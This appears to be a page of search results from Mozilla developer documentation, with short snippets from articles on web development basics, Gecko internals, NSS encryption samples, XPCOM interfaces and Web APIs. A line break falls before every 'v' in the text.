viewport, and one another.
... note: if you are working on a computer/tablet/other de
vice where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch.
... guides these articles will pro
vide instruction on the fundamental layout tools and techniques available in css.
...And 9 more matches
What is accessibility? - Learn web development
summary because of physical or technical limitations, maybe your
visitors can't experience your website the way you hoped.
...in general, we must think about our product from the
viewpoints of all our target customers, and adapt accordingly.
... let's consider
video: hearing impairment how does a hearing-impaired person benefit from a
video?
...And 9 more matches
Debugging HTML - Learn web development
pre
vious over
view: introduction to html next writing html is fine, but what if something goes wrong, and you can't work out where the error in the code is?
... <ul> <li>unclosed elements: if an element is <strong>not closed properly, then its effect can spread to areas you didn't intend <li>badly nested elements: nesting elements properly is also very important for code beha
ving correctly.
...let's look at an example: <a href="https://www.mozilla.org/>link to mozilla homepage</a> </ul> let's re
view the problems: the paragraph and list item elements have no closing tags.
...And 9 more matches
Build your own function - Learn web development
pre
vious over
view: building blocks next with most of the essential theory dealt with in the pre
vious article, this article pro
vides practical experience.
... objective: to pro
vide some practice in building a custom function, and explain a few more useful associated details.
...we've also pro
vided some basic css to style the custom message box, and an empty <script> element to put our javascript in.
...And 9 more matches
Looping code - Learn web development
pre
vious over
view: building blocks next programming languages are very useful for rapidly completing repetitive tasks, from multiple basic calculations to just about any other situation where you've got a lot of similar items of work to complete.
... let's look at a real example so we can
visualize what these do more clearly.
...we already met this in the pre
vious article when we looked at switch statements — when a case is met in a switch statement that matches the input expression, the break statement immediately exits the switch statement and moves onto the code after it.
...And 9 more matches
Working with JSON - Learn web development
pre
vious over
view: objects next javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax.
... it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or
vice versa).
...even though it closely resembles javascript object literal syntax, it can be used independently from javascript, and many programming en
vironments feature the ability to read (parse) and generate json.
...And 9 more matches
Learn web development
this set of articles aims to pro
vide complete beginners to web development with all that they need to start coding websites.
... the aim of this area of mdn is not to take you from "beginner" to "expert" but to take you from "beginner" to "comfortable." from there, you should be able to start making your way, learning from the rest of mdn, and other intermediate to advanced resources that assume a lot of pre
vious knowledge.
... if you are a complete beginner, web development can be challenging — we will hold your hand and pro
vide enough detail for you to feel comfortable and learn the topics properly.
...And 9 more matches
Embedding the editor
composer embedded in a native application in this application, the <iframe> on which the editor lives is embedded directly in the native application; this is equivalent to embedding the browser
via nsiwebbrowser, but instead ha
ving an editable document.
...the box object is a layout structure that is owned by content nodes, and sur
vives frame destruction/recreation.
...thence, lots of javascript in editor.js, composercommands.js and the various dialog js files assume that they can get at the one true editor
via window.editorshell.
...And 9 more matches
HTML parser threading
(there's currently one parser thread ser
ving all parser instances.) data received from document.write() is parsed on the main thread.
...(aside: it would make more sense to make the parser deal with nsstringbuffers directly without ha
ving heap-allocated nsstrings involved.) element names, attribute names and the doctype name are represented as nsiatoms.
...(this indeed means that remo
ving parser-created nodes from the dom during parsing doesn't release memory until the parser stops parsing, which is, in theory, a problem for long polling using html in an iframe e.g.
...And 9 more matches
AddonManager
the existing add-on types are defined in xpipro
vider.jsm and are, at this time, the following: extension, theme, locale, multipackage, dictionary and experiment.
... to import the addonmanager object in the add-on sdk, use: const { addonmanager } = require("resource://gre/modules/addonmanager.jsm"); to import it in a normal bootstrapped extension or similar, use: cu.import("resource://gre/modules/addonmanager.jsm"); method over
view promise?
...callback) void addaddonlistener(in addonlistener listener) void removeaddonlistener(in addonlistener listener) void addtypelistener(in typelistener listener) void removetypelistener(in typelistener listener) nsiuri geturiforresourceinfile(in nsifile afile, in string apath) properties over
view attribute type description addontypes dictionary a dictionary that maps type id to addontype.
...And 9 more matches
DownloadSummary
pro
vides an aggregated
view on the contents of a downloadlist.
...method over
view promise bindtolist(downloadlist alist); promise add
view(object a
view); promise remove
view(object a
view); properties attribute type description allhavestopped read only boolean indicates whether all the downloads are currently stopped.
...
views on the summarized data can be registered before this object is bound to an actual list.
...And 9 more matches
Bootstrapping a new locale
na
vigate to that level making sure you are *not* inside mozilla-1.9.x/ and then run the following commands.
...we'll first na
vigate to the directory called "browser" by running the following commands one after the other from your command line: $ cd [ab-cd]/browser/chrome/browser to see what is contained in "browser" type $ ls and, you should see the following output from your terminal: aboutcerterror.dtd pageinfo.dtd aboutdialog.dtd pageinfo.properties aboutprivatebrowsing.dtd pagereportf...
... preferences aboutsupport.dtd quitdialog.properties basemenuoverlay.dtd safemode.dtd browser.dtd safebrowsing browser.properties sanitize.dtd credits.dtd search.properties enginemanager.dtd searchbar.dtd enginemanager.properties setdesktopbackground.dtd feeds shellser
vice.properties history sidebar migration tabbrowser.dtd openlocation.dtd tabbrowser.properties openlocation.properties as a localizer, you are responsible for localizing each of the ".dtd" and ".properties" in *all* of the sub-directories found in your ab-cd directory.
...And 9 more matches
QA phase
to copy this file to the appropriate directory, do the following: na
vigate to your working directory from your command-line terminal (i.e., where you created the folder structure described above).
... to create and configure this file, follow these instructions: until the fix for bug 1063880 lands on mozilla-aurora and mozilla-beta when building language packs against those two trees you should: remove ac_add_options --disable-compile-en
vironment from .mozconfig in step 3 use ./mach build config after step 4 update the mozilla source code: $ cd mozilla-aurora $ hg pull -u enter the following command to create the .mozconfig file: $ nano -w .mozconfig enter the following lines in your .mozconfig file: mk_add_options moz_objdir=@topsrcdir@/../firefox-build ac_add_options --disable-compile-en
vironment ac_add_opti...
... enter the following command to perform the configuration: $ ./mach configure once your command-line finishes spitting out the config command's output, na
vigate to the newly created directory: $ cd ../firefox-build/browser/locales now you're ready to build!
...And 9 more matches
Basics
you can
view its source.
... however, mathml documents tend to be verbose and you might get lost trying to locate a mathml fragment with the usual
view source.
...so it responds to other browser operations such as the zoom (try
view -> text zoom), and you can do links a 2 + b 2 = c 2 , apply stylistic effects a 2 + b 2 = c 2 , or use color a 2 + b 2 = c 2 in very strange ways p(x) q(x) = a0 + a1x + a2 x2 + ...
...And 9 more matches
Refcount tracing and balancing
refcount tracing and balancing are advanced techniques for tracking down leak of refcounted objects found with bloat
view.
... how to run with refcount tracing on there are several en
vironment variables that can be used.
... first, you select one of three en
vironment variables to choose what kind of logging you want.
...And 9 more matches
Performance
a development en
vironment is not required.
... measuring add-on startup performance a guide for add-on developers on how to set up a performance testing en
vironment.
... gpu performance tips for profiling and impro
ving performance when using a gpu.
...And 9 more matches
NSPR's Position On Abrupt Thread Termination
abrupt termination has been available in the unix/c en
vironment for some time (exit()), and i assume that the basic semantics defined there are applicable here.
... in that en
vironment, exit() may be called and any time, and results in the calling thread's immediate termination.
...threads run within the confines of a process (or similar abstractions in other en
vironments).
...And 9 more matches
Encrypt Decrypt MAC Keys As Session Objects
break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't cre...
...tderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... pr_fprintf(pr_stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return null; } return key; } /* * decrypt and verify mac */ secstatus decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int...
...And 9 more matches
Encrypt and decrypt MAC using token
break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't cre...
...tderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... pr_fprintf(pr_stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return null; } return key; } /* * decrypt and verify mac */ secstatus decryptandverifymac(const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int...
...And 9 more matches
NSS FAQ
general questions what is network security ser
vices (nss) nss is set of libraries, apis, utilities, and documentation designed to support cross-platform development of security-enabled client and server applications.
... it pro
vides a complete open-source implementation of the crypto libraries used by mozilla and other companies in the firefox browser, aol instant messenger (aim), server products from red hat, and other products.
... for an over
view of nss, see over
view of nss.
...And 9 more matches
HTTP delegation
this causes ocsp requests to fail if the network en
vironment requires the use of a proxy.
...instead of impro
ving the simple http client in nss, the nss team has decided to pro
vide an nss api to register application callback functions.
... if pro
vided by the application, nss will use the registered http client for querying an oscp responder.
...And 9 more matches
HTTP delegation
this causes ocsp requests to fail if the network en
vironment requires the use of a proxy.
...instead of impro
ving the simple http client in nss, the nss team has decided to pro
vide an nss api to register application callback functions.
... if pro
vided by the application, nss will use the registered http client for querying an oscp responder.
...And 9 more matches
NSS 3.35 release notes
introduction the nss team has released network security ser
vices (nss) 3.35, which is a minor release.
... notable changes in nss 3.35 pre
viously, nss used the dbm file format by default.
...below, are explanations that could be helpful for en
vironments that need to adopt to the new default.
...And 9 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code */ pk11context * cryptinit(pk11symkey *key, unsigned char *iv, unsigned int ivlen, ck_mechanism_type type, ck_attribute_type operation) { secitem i
vitem = { sibuffer, iv, ivlen }; pk11context *ctx = null; secitem *secparam = pk11_paramfromiv(ckm_aes_cbc, &i
vitem); if (secparam == null) { pr_fprintf(pr_stderr, "crypt failed : secparam null\n"); return null; } ctx = pk11_createcontextbysymkey(ckm_aes_cbc, operation, key, secparam); if (ctx == null) { pr_fprintf(pr_stderr, "crypt failed : can't cre...
...tderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using pre
viously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ptext, ptextlen); ...
... pr_fprintf(pr_stderr, "pk11_findfixedkey failed (err %d)\n", pr_geterror()); pk11_freeslot(slot); return null; } return key; } /* * decrypt and verify mac */ secstatus decryptandverifymac( const char* outfilename, char *encryptedfilename, secitem *citem, secitem *macitem, pk11symkey* ek, pk11symkey* mk, secitem *i
vitem, secitem *paditem) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int...
...And 9 more matches
NSS_3.12.3_release_notes.html
nss 3.12.3 release notes 2009-04-01 newsgroup: mozilla.dev.tech.crypto contents introduction distribution information new in nss 3.12.3 bugs fixed documentation compatibility feedback introduction network security ser
vices (nss) 3.12.3 is a patch release for nss 3.12.
...both debug and optimized builds are pro
vided.
... new in nss 3.12.3 changes in beha
vior: in the development of nss 3.12.3, it became necessary to change some old library beha
viors due to the discovery of certain vulnerabilities in the old beha
viors, and to correct some errors that had limited nss's ability to interoperate with cryptographic hardware and software from other sources.
...And 9 more matches
SpiderMonkey 1.8.8
it continues to improve performance over pre
vious spidermonkey releases, with ongoing jit compilation work and with the introduction of type inference to enable faster jitted code.
...on some other platforms (sparc, mips), the jit is pro
vided but not supported.
... on all other platforms the jit is simply disabled; javascript code runs in an interpreter, as in pre
vious versions.
...And 9 more matches
TPS Tests
a test file may contain an arbitrary number of sections, each invol
ving the same or different profiles, so that one test file may be used to test the effect of syncing and modifying a common set of data (from a single sync account) over a series of different events and clients.
... set up an en
vironment and run a test to run tps, you should create a new firefox account using a restmail.net email address (strictly speaking, restmail isn't required, but it will allow tps to automatically do account confirmation steps for you.
... steps get the source code clone mozilla-central (choose your flavor): hg clone hg.mozilla.org/mozilla-central or git clone github.com/mozilla/gecko-dev cd into the tps folder cd testing/tps create the en
vironment i suggest the path to be outside of the mc source tree python create_venv.py --username=%email% --password=%password% %path% note: if you are updating the tps en
vironment and want to keep your existing config (eg, the existing username and password), you should instead execute: python create_venv.py --keep-config %path% activate the en
vironment source %path%/bin/activa...
...And 9 more matches
The Publicity Stream API
the publicity stream the publicity stream is a mozilla-hosted acti
vity stream generated by a user's application usage.
... the publicity stream is pro
vided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
...[is this still doable?] the javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the na
vigator.apps object.
...And 9 more matches
Components.utils.waiveXrays
waives xray
vision for an object, gi
ving the caller a transparent wrapper to the underlying object.
... when pri
vileged javascript in gecko accesses objects belonging to less-pri
vileged code (such as untrusted web content), it does so, by default, with "xray
vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
... for example, pri
vileged code using an xray to a dom object sees only the original, native version of the dom object.
...And 9 more matches
nsIDynamicContainer
toolkit/components/places/public/nsidynamiccontainer.idlscriptable this interface pro
vides a base class for ser
vices that want to pro
vide containers for temporary contents.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the ser
vice can fill result nodes directly into the container when it is opened.
...it can also create additional containers for each container, registered to its ser
vice.
...And 9 more matches
nsILoginManager
to create an instance, use: var loginmanager = components.classes["@mozilla.org/login-manager;1"] .getser
vice(components.interfaces.nsiloginmanager); method over
view void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apre
viousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); boolean fillform(in ns...
...in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldisabledhosts([optional] out unsigned long count, [retval, array, size_is(count)] out wstring hostnames); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsa
vingenabled(in astring ahost); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsa
vingenabled(in astring ahost, in boolean ...
... note: this method is pro
vided for use only by the formfillcontroller, which calls it directly.
...And 9 more matches
nsIMsgFolder
inherits from: nsisupports method over
view void startfolderloading(); void endfolderloading(); void updatefolder(in nsimsgwindow awindow); nsimsgfilterlist getfilterlist(in nsimsgwindow msgwindow); void setfilterlist(in nsimsgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsimsgwindow msgwindow); void propagatedelete(in nsimsgfolder folder, in boolean deletestorage,in nsimsgwindow msgwindow); ...
...unsigned long resultsize, out unsigned long numfolders); nsisupportsarray getallfolderswithflag(in unsigned long aflag); void getexpansionarray(in nsisupportsarray expansionarray); acstring geturiformsg(in nsimsgdbhdr msghdr); void deletemessages(in nsisupportsarray messages,in nsimsgwindow msgwindow, in boolean deletestorage, in boolean ismove, in nsimsgcopyser
vicelistener listener, in boolean allowundo); void copymessages(in nsimsgfolder srcfolder, in nsisupportsarray messages,in boolean ismove, in nsimsgwindow msgwindow,in nsimsgcopyser
vicelistener listener, in boolean isfolder, in boolean allowundo); void copyfolder(in nsimsgfolder srcfolder, in boolean ismovefolder,in nsimsgwindow msgwindow, in nsimsgcopyser
vicelistener listener ); ...
... void copyfilemessage(in nsifile file, in nsimsgdbhdr msgtoreplace,in boolean isdraft, in unsigned long newmsgflags,in nsimsgwindow msgwindow,in nsimsgcopyser
vicelistener listener); void acquiresemaphore(in nsisupports semholder); void releasesemaphore(in nsisupports semholder); boolean testsemaphore(in nsisupports semholder); void getnewmessages(in nsimsgwindow awindow, in nsiurllistener alistener); void writetofoldercache(in nsimsgfoldercache foldercache, in boolean deep); long getnumnewmessages(in boolean deep); void setnumnewmessages(in long numnewmessages); acstring generatemessageuri(in nsmsgkey msgkey); void addmessagedispositionstate(in nsimsgdbhdr amessage,in nsmsgdispositionstate adispositionfla...
...And 9 more matches
nsITextInputProcessor
dom/interfaces/base/nsitextinputprocessor.idlscriptable this interface is a text input events synthesizer and manages its composition and modifier state 1.0 66 introduced gecko 38 inherits from: nsisupports last changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) the motivation of this interface is to pro
vide better api than nsidomwindowutils to dispatch key events and create, modify, and commit composition in higher level.
... nsidomwindowutils has pro
vided the methods which dispatched keyboard events and composition events almost directly.
...for sol
ving that issue, methods of this interface have been designed for performing a key operation or representing a change of composition state.
...And 9 more matches
Storage
the overall procedure for use is: get the storage ser
vice - mozistorageser
vice.
... opening a connection javascript example of opening my_db_file_name.sqlite in the profile directory: components.utils.import("resource://gre/modules/ser
vices.jsm"); components.utils.import("resource://gre/modules/fileutils.jsm"); let file = fileutils.getfile("profd", ["my_db_file_name.sqlite"]); let dbconn = ser
vices.storage.opendatabase(file); // will also create the file if it does not exist likewise, the c++ would look like this: nscomptr<nsifile> dbfile; rv = ns_getspecialdirectory(ns_app_user_profile_50_dir, get...
...ter_addrefs(dbfile)); ns_ensure_success(rv, rv); rv = dbfile->append(ns_literal_string("my_db_file_name.sqlite")); ns_ensure_success(rv, rv); nscomptr<mozistorageser
vice> dbser
vice = do_getser
vice(moz_storage_ser
vice_contractid, &rv); ns_ensure_success(rv, rv); nscomptr<mozistorageconnection> dbconn; rv = dbser
vice->opendatabase(dbfile, getter_addrefs(dbconn)); ns_ensure_success(rv, rv); note: moz_storage_ser
vice_contractid is defined in storage/build/mozstoragecid.h.
...And 9 more matches
Autoconfiguration in Thunderbird
mechanisms thunderbird gets the server settings
via different means, each of which is intended for different cases: ispdb the ispdb is a central database, currently hosted by the thunderbird project, but free to use for any client.
... configuration server at isp isps have the option to pro
vide their configuration information themselves directly to users, by setting up a web server at autoconfig.<domain>, which simply returns a static xml file with the configuration, as described below.
...this is mainly intended for companies who install thunderbird on their employees' computers and want to enable easy account setup without ha
ving to set up a configuration server.
...And 9 more matches
Network request details - Firefox Developer Tools
this pane pro
vides more detailed information about the request.
... network request details clicking on a row displays a new pane in the right-hand side of the network monitor, which pro
vides more detailed information about the request.
... clicking the icon at the right-hand end of the toolbar closes the details pane and returns you to the list
view.
...And 9 more matches
Network request list - Firefox Developer Tools
each request is displayed in its own row: by default, the network monitor is cleared each time you na
vigate to a new page or reload the current page.
... you can override this beha
vior by checking "enable persistent logs" in the settings.
... you can also change the width of the columns to help make the information you are looking for easier to
view.
...And 9 more matches
UI Tour - Firefox Developer Tools
the performance tool's ui consists of 4 main pieces: toolbar recordings pane recording over
view details pane, which may contain any one of: waterfall call tree flame chart toolbar the toolbar contains buttons to: start and stop a recording import a recording you pre
viously saved clear the recordings pane.
... filter the markers that are displayed in the waterfall
view switch the active tool in the details pane.
... recording over
view this displays an over
view of the entire recording, with the x-axis representing time.
...And 9 more matches
Using images - Web APIs
« pre
viousnext » until now we have created our own shapes and applied styles to them.
...it is also possible to use images by pro
viding a url.
... html
videoelement using an html <
video> element as your image source grabs the current frame from the
video and uses it as an image.
...And 9 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
take the following document, for example: <!doctype html> <html> <head> <title>my document</title> </head> <body> <h1>header</h1> <p> paragraph </p> </body> </html> the dom tree for this looks like so: conser
ving whitespace characters in the dom is useful in many ways, but there are certain places where this makes certain layouts more difficult to implement, and causes problems for developers who want to iterate through nodes in the dom.
...lo◦<span>◦world!</span>◦◦◦</h1> after that, any space immediately following another space (even across two separate inline elements) is ignored, so we end up with: <h1>◦hello◦<span>world!</span>◦</h1> and finally, sequences of spaces at the beginning and end of a line are removed, so we finally get this: <h1>hello◦<span>world!</span></h1> this is why people
visiting the web page will simply see the phrase "hello world!" nicely written at the top of the page, rather than a weirdly indented "hello" followed but an even more weirdly indented "world!" on the line below that.
... </div> </body> we can summarize how the whitespace here is handled as follows (the may be some slight differences in exact beha
vior between browsers, but this basically works): because we’re inside a block formatting context, everything must be a block, so our 3 text nodes also become blocks, just like the 2 <div>s.
...And 9 more matches
Element.scrollHeight - Web APIs
the element.scrollheight read-only property is a measurement of the height of an element's content, including content not
visible on the screen due to overflow.
... the scrollheight value is equal to the minimum height the element would require in order to fit all the content in the
viewport without using a vertical scrollbar.
... element.scrollheight - element.scrolltop === element.clientheight when the container does not scroll, but has overflowing children, these checks determine if the container can scroll: window.getcomputedstyle(element).overflowy === '
visible' window.getcomputedstyle(element).overflowy !== 'hidden' scrollheight demo associated with the onscroll event, this equivalence can be useful to determine whether a user has read a text or not (see also the element.scrolltop and element.clientheight properties).
...And 9 more matches
Introduction to the File and Directory Entries API - Web APIs
the file and directory entries api simulates a local file system that web apps can na
vigate around.
... you can develop apps that can read, write, and create files and directories in a sandboxed,
virtual file system.
... over
view the file and directory entries api includes both asynchronous and synchronous versions of the interfaces.
...And 9 more matches
HTMLImageElement.currentSrc - Web APIs
syntax let currentsource = htmlimageelement.currentsrc; value a usvstring indicating the full url of the image currently
visible in the <img> element represented by the htmlimageelement.
... this is useful when you pro
vide multiple image options using the sizes and/or htmlimageelement.srcset properties.
... currentsrc lets you determine which image from the set of pro
vided images was selected by the browser.
...And 9 more matches
HTMLInputElement - Web APIs
the htmlinputelement interface pro
vides special properties and methods for manipulating the options, layout, and presentation of <input> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...possible values are: on: the browser can autocomplete the value using pre
viously stored value off: the user must explicity enter a value max string: returns / sets the element's max attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value.
...And 9 more matches
HTMLTextAreaElement - Web APIs
the htmltextareaelement interface pro
vides special properties and methods for manipulating the layout and presentation of <textarea> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... autocapitalize string: returns / sets the element's capitalization beha
vior for user input.
...And 9 more matches
KeyboardEvent - Web APIs
the event type (keydown, keypress, or keyup) identifies what kind of keyboard acti
vity occurred.
... note: keyboardevent events just indicate what interaction the user had with a key on the keyboard at a low level, pro
viding no contextual meaning to that interaction.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
...And 9 more matches
Keyboard API - Web APIs
the keyboard api pro
vides methods for working with a physical keyboard that is attached to a de
vice running a browser.
... it pro
vides several capabilities.
... keyboard mapping pro
vides an interface for retrie
ving the string generated by particular physical key on a keyboard to correctly identify that key to a user.
...And 9 more matches
PhotoCapabilities - Web APIs
the photocapabilities interface of the the mediastream image capture api pro
vides available configuration options for an attached photographic de
vice.
...the "controllable" value means the de
vice's read-eye reduction is controllable by the user.
...this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a de
vice's mediastream.
...And 9 more matches
RTCRtpStreamStats - Web APIs
the rtcrtpstreamstats dictionary is returned by the rtcpeerconnection.getstats(), rtcrtpsender.getstats(), and rtcrtpreceiver.getstats() methods to pro
vide detailed statistics about webrtc connecti
vity.
... kind a domstring whose value is "audio" if the associated mediastreamtrack is audio-only or "
video" if the track contains
video.
...pre
viously called mediatype.
...And 9 more matches
Screen Capture API - Web APIs
its sole method is mediade
vices.getdisplaymedia(), whose job is to ask the user to select a screen or portion of a screen to capture in the form of a mediastream.
... to start capturing
video from the screen, you call getdisplaymedia() on the instance of media na
vigator.mediade
vices: capturestream = await na
vigator.mediade
vices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream which streams the captured media.
... additions to existing interfaces the screen capture api doesn't have any interfaces of its own; instead, it adds one method to the existing mediade
vices interface.
...And 9 more matches
Slottable - Web APIs
li
ving standard initial definition.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslottable experimentalchrome full support 53edge full support 79firefox full support 63 full support 63 no support 59 — 63disabled disabled from version 59 until version 63 (exclusive): this feature is beh...
...to change preferences in firefox,
visit about:config.
...And 9 more matches
Using readable streams - Web APIs
if not, we suggest that you first read the streams concepts and usage over
view and dedicated streams api concepts article, then come back.
... consuming a fetch as a stream the fetch api allows you to fetch resources across the network, pro
viding a modern alternative to xhr.
...this mixin is implemented by both the request and response interfaces, so it is available on both, although consuming the stream of a response body is perhaps a bit more ob
vious.
...And 9 more matches
WebGLRenderingContext - Web APIs
the webglrenderingcontext interface pro
vides an interface to the opengl es 2.0 graphics rendering context for the drawing surface of an html <canvas> element.
... the webgl context the following properties and methods pro
vide general information and functionality to deal with the webgl context: webglrenderingcontext.canvas a read-only back-reference to the htmlcanvaselement.
...
viewing and clipping webglrenderingcontext.scissor() defines the scissor box.
...And 9 more matches
Lighting in WebGL - Web APIs
« pre
viousnext » as should be clear by now, webgl doesn't have much built-in knowledge.
...instead of discussing it in depth here, take a look at the article on phong shading at wikipedia, which pro
vides a good over
view of the most commonly used lighting model or if you'd like to see a webgl based explanation see this artcle.
...this is light that's coming from so far away that every photon is mo
ving parallel to every other photon.
...And 9 more matches
